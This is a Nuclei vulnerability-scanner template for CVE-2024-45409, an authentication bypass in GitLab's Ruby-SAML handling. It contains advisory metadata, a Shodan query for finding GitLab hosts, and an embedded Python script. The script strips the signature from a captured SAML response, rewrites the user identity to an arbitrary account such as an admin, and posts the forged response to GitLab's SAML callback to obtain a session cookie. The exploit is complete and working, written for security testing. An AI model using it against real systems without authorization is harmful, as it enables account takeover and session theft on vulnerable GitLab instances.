2024-10-04 21:59:18 +00:00
id : CVE-2024-45409
info :
name : GitLab - SAML Authentication Bypass
author : iamnoooob,rootxharsh,pdresearch
severity : critical
description : |
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
impact : |
An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
remediation : |
This vulnerability is fixed in 1.17.0 and 1.12.3.
reference :
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
- https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-45409
cwe-id : CWE-347
metadata :
verified : true
shodan-query : http.title:"GitLab"
product : gitlab
vendor : gitlab
tags : cve,cve2024,saml,auth-bypass,gitlab,code
code :
- engine :
- py
- python3 # requires python to be pre-installed on system running nuclei
source : |
try :
from lxml import etree
except ImportError :
raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
import hashlib,os
import base64
from datetime import datetime, timedelta
import urllib.parse
import requests
username = os.getenv('username')
if not username :
username='admin@example.com'
saml_response = os.getenv('SAMLResponse')
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)
namespaces = {
'samlp' : 'urn:oasis:names:tc:SAML:2.0:protocol' ,
'saml' : 'urn:oasis:names:tc:SAML:2.0:assertion' ,
'ds' : 'http://www.w3.org/2000/09/xmldsig#'
}
response_signature = root.find('./ds:Signature', namespaces)
if response_signature is not None :
root.remove(response_signature)
nameid = root.find(
'.//saml:NameID' ,
namespaces
)
if nameid is not None :
nameid.text = username
attribute_values = root.findall('.//saml:AttributeValue', namespaces)
for attr_value in attribute_values :
attr_value.text = username
assertion = root.find('.//saml:Assertion', namespaces)
if assertion is not None :
# Create a deep copy of the assertion for digest calculation
assertion_copy = etree.fromstring(etree.tostring(assertion))
signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
if signature_in_assertion is not None :
signature_in_assertion.getparent().remove(signature_in_assertion)
canonicalized_assertion = etree.tostring(
assertion_copy, method='c14n', exclusive=True, with_comments=False
)
digest = hashlib.sha256(canonicalized_assertion).digest()
digest_value = base64.b64encode(digest).decode()
else :
digest_value = ''
issuer = root.find('.//saml:Issuer', namespaces)
if issuer is not None :
parent = issuer.getparent()
index = parent.index(issuer)
extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
digest_element = etree.SubElement(
extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
)
digest_element.text = digest_value
parent.insert(index + 1, extensions)
malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
))))
print(malformed_samlresponse)
http :
- raw :
- |
POST /users/auth/saml/callback HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers :
- type : dsl
dsl :
- 'contains(header,"known_sign_in")'
- 'status_code == 302'
condition : and
extractors :
- type : kval
kval :
2024-10-04 22:01:23 +00:00
- _gitlab_session
# digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950